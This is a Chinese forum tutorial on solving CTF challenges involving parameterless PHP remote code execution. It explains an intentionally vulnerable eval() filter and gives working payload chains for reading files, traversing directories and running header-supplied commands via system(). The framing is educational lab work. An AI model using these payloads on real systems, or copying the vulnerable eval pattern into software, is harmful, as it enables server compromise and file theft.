用户
搜索
  • TA的每日心情

    2021-1-27 00:33
  • 签到天数: 4 天

    连续签到: 2 天

    [LV.2]偶尔看看

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    2

    主题

    5

    帖子

    72

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2018-11-4

    i春秋签约作者春秋文阁

    发表于 2021-1-26 16:40:12 310193

    带你从原理到实战透析CTF中无参数RCE问题

    本文所用靶机均打包进docker镜像可以使用CTFD-whale直接运行:

    Docker镜像:gqleung/no_param_rce

    代码:

    <?php
    highlight_file(__FILE__);
    if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
        eval($_GET['code']);
    }
    ?>

    代码分析

    preg_replace()

    • 语法:
    mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

    pattern:要搜索的模式,可以是字符串或一个字符串数组

    replacement:用于替换的字符串或字符串数组

    subject:要搜索替换的目标字符串或字符串数组

    limit:可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)

    count:可选,为替换执行的次数

    • 简化为:
    preg_replace(pattern, replacement, subject)

    即:将subject中符合pattern的替换为replacement

    对于preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])

    意思是,对传进来的code进行正则匹配,符合正则表达式的部分替换为空,然后返回一个新的字符串

    正则表达式

    正则表达式(Regular Expression)描述了一种字符串匹配的模式(pattern),可以用来检查一个串是否含有某种子串、将匹配的子串替换或者从某个串中取出符合某个条件的子串等。

    正则表达式 – 语法 | 菜鸟教程 (runoob.com)

    <?php
    $str='01ABcdEf_230G';
    echo preg_replace('/0/', 'A', $str).'<br>';    //将0换成A
    echo preg_replace('/[0-9]/', '', $str).'<br>'; //去掉所有数字
    echo preg_replace('/[a-z]/', '', $str).'<br>'; //去掉所有小写字母
    echo preg_replace('/[A-Z]/', '', $str).'<br>'; //去掉所有大写字母
    echo preg_replace('/[^A-Z]/', '', $str).'<br>'; //去掉除了大写字母外所有的字符
    echo preg_replace('/[a-z A-Z]/', '', $str).'<br>';    //去掉所有大小写字母
    ?>
    运行结果.....
    A1ABcdEf_23AG
    ABcdEf_G
    01ABE_230G
    01cdf_230
    ABEG
    01_230
    <?php
    $a = "abcABC123_+-*/";
    echo preg_replace('/[\w]/', '!', $a)."<br>";
    echo preg_replace('/[\W]/', '!', $a)."<hr>";
    echo preg_replace('/[^\W]/', '!', $a)."<br>";
    ?>
    运行结果:
    !!!!!!!!!!+-*/
    abcABC123_!!!!
    !!!!!!!!!!+-*/
    \w`:匹配字母、数字、下划线。等价于`[A-Z a-z 0-9 _]
    \W`:匹配非字母、数字、下划线。等价于`[^A-Z a-z 0-9 _]

    (?R)是引用当前表达式的意思,即可以用/[^\W]+\((?R)?\)/替换到(?R)的位置

    (?R)? 这里多一个?表示可以有引用,也就是说可以衍生匹配。

    即:(?R)?表示递归整个匹配模式

    所以/[^\W]+\((?R)?\)/合起来就是匹配无参数的函数,函数内部可以无限嵌套相同的模式,也就是说只匹配字符串+()的类型,并且括号内为空字符串字符串+()

    总结

    所以对于preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])

    fun1(fun2(fun3()))最终会被替换为空

    fun1(fun2(fun3(aaa)))则不会进行替换,结果仍为fun1(fun2(fun3(aaa)))

    DBRnKg

    常用函数

    • show_source()

    扩展:highlight_file() 高亮读取文件

    show_source()函数对文件进行语法高亮提示
    show_source(filename,return)
    参数 描述
    filename 必需。要进行高亮处理的 PHP 文件的路径。
    return 可选。如果设置 true,则本函数返回高亮处理的代码。
    • test.php
    <?php
    echo __FILE__.'<br>';
    show_source(__FILE__)."<hr>";
    ?>

    dZ6b9J

    • localeconv()

    localeconv() 函数返回一包含本地数字及货币格式信息的数组,且第一个元素为点(.)。

    localeconv() 函数会返回以下数组元素:

    [decimal_point] - 小数点字符
    [thousands_sep] - 千位分隔符
    [int_curr_symbol] - 货币符号 (例如:USD)
    [currency_symbol] - 货币符号 (例如:$)
    [mon_decimal_point] - 货币小数点字符
    [mon_thousands_sep] - 货币千位分隔符
    [positive_sign] - 正值字符
    [negative_sign] - 负值字符
    [int_frac_digits] - 国际通用小数位
    [frac_digits] - 本地通用小数位
    <?php
    var_dump(localeconv());
    ?>
    运行结果:
      array(18) {
    [“decimal_point”]=>
    string(1) “.”
    [“thousands_sep”]=>
    string(0) “”
    [“int_curr_symbol”]=>
    string(0) “”
    [“currency_symbol”]=>
    string(0) “”
    [“mon_decimal_point”]=>
    string(0) “”
    [“mon_thousands_sep”]=>
    string(0) “”
    [“positive_sign”]=>
    string(0) “”
    [“negative_sign”]=>
    string(0) “”
    [“int_frac_digits”]=>
    int(127)
    [“frac_digits”]=>
    int(127)
    [“p_cs_precedes”]=>
    int(127)
    [“p_sep_by_space”]=>
    int(127)
    [“n_cs_precedes”]=>
    int(127)
    [“n_sep_by_space”]=>
    int(127)
    [“p_sign_posn”]=>
    int(127)
    [“n_sign_posn”]=>
    int(127)
    [“grouping”]=>
    array(0) {
    }
    [“mon_grouping”]=>
    array(0) {
    }
    }
    • pos()

    pos() 函数返回数组中的当前元素的值(取第一个元素)。

    该函数是 current() 函数的别名。

    如果pos()和current()都被过滤了,可以使用reset()。

    每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。

    相关的方法:

    current() - 返回数组中的当前元素的值

    end() - 将内部指针指向数组中的最后一个元素,并输出

    next() - 将内部指针指向数组中的下一个元素,并输出

    prev() - 将内部指针指向数组中的上一个元素,并输出

    reset() - 将内部指针指向数组中的第一个元素,并输出

    each() - 返回当前元素的键名和键值,并将内部指针向前移动

    • scandir()

    scandir() 函数返回指定目录中的文件和目录的数组。

    scandir(directory,sorting_order,context);
    参数 描述
    directory 必需。规定要扫描的目录。
    sorting_order 可选。规定排列顺序。默认是 0,表示按字母升序排列。如果设置为 SCANDIR_SORT_DESCENDING 或者 1,则表示按字母降序排列。如果设置为 SCANDIR_SORT_NONE,则返回未排列的结果。
    context 可选。规定目录句
    <?php
    var_dump(scandir('D:\ant'));
    ?>

    dZgcyn

    • chr()

    chr() 函数从指定的 ASCII 值返回字符。

    ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置 0,而十六进制值被定义为带前置 0x;

    <?php
    echo chr(61) . "<br>"; // 十进制
    echo chr(061) . "<br>"; // 八进制值
    echo chr(0x61) . "<br>"; // 十六进制值
    ?>
    • chdir()

    chdir() 函数当参数为两个点的时候能够跳转到上层目录,相当于在命令行输入cd..会返回上一级目录。

    DOS的Chdir(cd)命令可以显示当前目录的名称或者更改当前的目录。

    一般当前显示的路径是”C:\Users\Administrator”,如果想要跳转到D盘的Test文件夹(“D:\test\”)可以直接使用DOS命令cd /d d:\test

    如果想要跳转到当前路径的上一级路径可以直接用DOS命令cd ..

    如果想要获取cd命令的具体用法,可以直接输入cd /?

    <?php
    echo getcwd()."<br>";
    chdir("app");
    echo getcwd()."<br>";
    chdir("..");
    echo getcwd()."<br>";
    ?>
    • localtime()
    localtime(timestamp,is_assoc);
    参数 描述
    timestamp 可选。规定 Unix 时间戳。如果未规定 timestamp,则默认为当前的本地时间 time()。
    is_assoc 可选。规定返回关联数组还是索引数组。如果为 FALSE,则返回索引数组。如果为  TRUE,则返回关联数组。默认为 FALSE。关联数组的键名如下:[tm_sec] - 秒数[tm_min] - 分钟数[tm_hour] -  小时[tm_mday] - 月份中的第几天[tm_mon] - 年份中的第几个月,从 0 开始表示一月份[tm_year] - 年份,从  1900 开始[tm_wday] - 星期中的第几天 (Sunday=0)[tm_yday] - 年中的第几天[tm_isdst] -  夏令时当前是否生效

    方法一

    • localeconv() 取点,localeconv() 会返回当地的金融信息的数组,而第一个元素即为点
    var_dump(localeconv());

    微信截图_20200709001803

    • 构造方法只需取第一个元素即可pos()、current()均可。
    <?php
    var_dump(pos(localeconv()));
    ?>

    微信截图_20200709001803

    • 使用scandir获取当前目录列表
    <?php
    var_dump(scandir(pos(localeconv())));
    ?>

    微信图片_20200709002248

    • 使用end读取最后一个文件名读取flag
    var_dump(end(scandir(pos(localeconv()))));

    微信截图_20200709002437

    • 使用readfile读取flag
    var_dump(readfile(end(scandir(pos(localeconv())))));
    • 最终payload
    http://xxxx/code/code.php?code=var_dump(readfile(end(scandir(pos(localeconv())))));

    方法二

    • 利用当前秒数构造点  ,利用localtime()中返回的秒数来构造点,点的aiisc码正好是46在60秒之内,我们只需等到46秒时候就能将点给构造出来。
    echo chr(pos(localtime()))

    微信截图_20200709003259

    • EXP
    http://39.107.126.173:8080/code/code.php?code=var_dump(readfile(end(scandir(chr(pos(localtime()))))));

    微信截图_20200709003456

    方法三

    • 利用SESSIONID来传参
    show_source(session_id(session_start()));

    微信图片_20200709004715

    方法四

    • 利用getallheaders()来获取参数RCE
    echo(system(end(getallheaders()))); 

    微信截图_20200709005507

    方法五

    如果无法使用SESSION或者getallheaders()来读取人意文件,而flag又不在文件开头或者结束可以使用以下方法,使用array_flip()函数让键值和键名反转,而后使用array_rand()来获取随机键名即可读取到文件

    file_get_contents(array_rand(array_flip(scandir(current(localeconv())))));

    跳转目录情况

    • 假设flag在上层目录文件的情况,我们需要跳转到上层目录。
    • chdir()函数当参数为两个点的时候能够跳转到上层目录。scandir(),读取当前目录在第二个元素就能读取两个点
    • localtime第一个参数是时间戳,所以我们不能直接嵌套,需要带一个time函数作为嵌套、time函数能够返回时间戳
    • 构造读取上层目录payload
    echo(implode(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))))));
    • 构造读取上层目录文件payload
    echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

    其它小技巧

    • 利用chr(46)就是字符.

    phpversion()会返回php版本,如5.6.27

    floor(phpversion())`返回`5
    sqrt(floor(phpversion()))`返回`2.2360679774998
    tan(floor(sqrt(floor(phpversion()))))`返回`-2.1850398632615
    cosh(tan(floor(sqrt(floor(phpversion())))))`返回`4.5017381103491
    sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))`返回`45.081318677156
    ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))`返回`46

    即:chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))等于.

    • 利用三角函数构造斜杠
    chr(floor(tan(tan(atan(atan(ord(cos(fclose(tmpfile())))))))));
    • 利用随机令牌构造点
    echo(implode(scandir(chr(strrev(uniqid())))));
    • 查看上一级目录文件名
    print_r(scandir(dirname(getcwd())));
    print_r(scandir(next(scandir(getcwd()))));

    小结

    getchwd() 函数返回当前工作目录。
    array_reverse() 以相反的元素顺序返回数组
    scandir() 函数返回指定目录中的文件和目录的数组。
    dirname() 函数返回路径中的目录部分。
    chdir() 函数改变当前的目录。
    localeconv() 返回当地金融信息,其中包含了点
    readfile()  输出一个文件
    echo(implode(scandir(chr(strrev(uniqid()))))); 随机令牌构造点
    chr(pos(localtime())) 利用当前秒数构造点    
    chr(floor(tan(tan(atan(atan(ord(cos(fclose(tmpfile()))))))))) 利用三角函数构造斜杠
    current()       返回数组中的当前单元, 默认取第一个值
    pos()           current() 的别名
    next() 函数将内部指针指向数组中的下一个元素,并输出。
    end()       将内部指针指向数组中的最后一个元素,并输出。
    array_rand()    函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
    array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
    chr() 函数从指定的 ASCII 值返回字符。
    hex2bin — 转换十六进制字符串为二进制字符串
    getenv()        获取一个环境变量的值(在7.1之后可以不给予参数)
    show_source(); 高亮读取文件
    highlight_file();高亮读取文件

    评分

    参与人数 2积分 +100 收起 理由
    kawhi + 50
    SkYe231 + 50 感谢你的分享,i春秋论坛有你更精彩!.

    查看全部评分

    个人博客:https://www.plasf.cn
    发表于 2021-1-26 17:19:20
    总结的很全,学习了
    使用道具 举报 回复
    发表于 2021-1-26 17:20:20
    总结的不错!
    让我们一起干大事!
    有兴趣的表哥加村长QQ:780876774!
    使用道具 举报 回复
    发表于 2021-1-26 17:58:33
    表哥很强
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册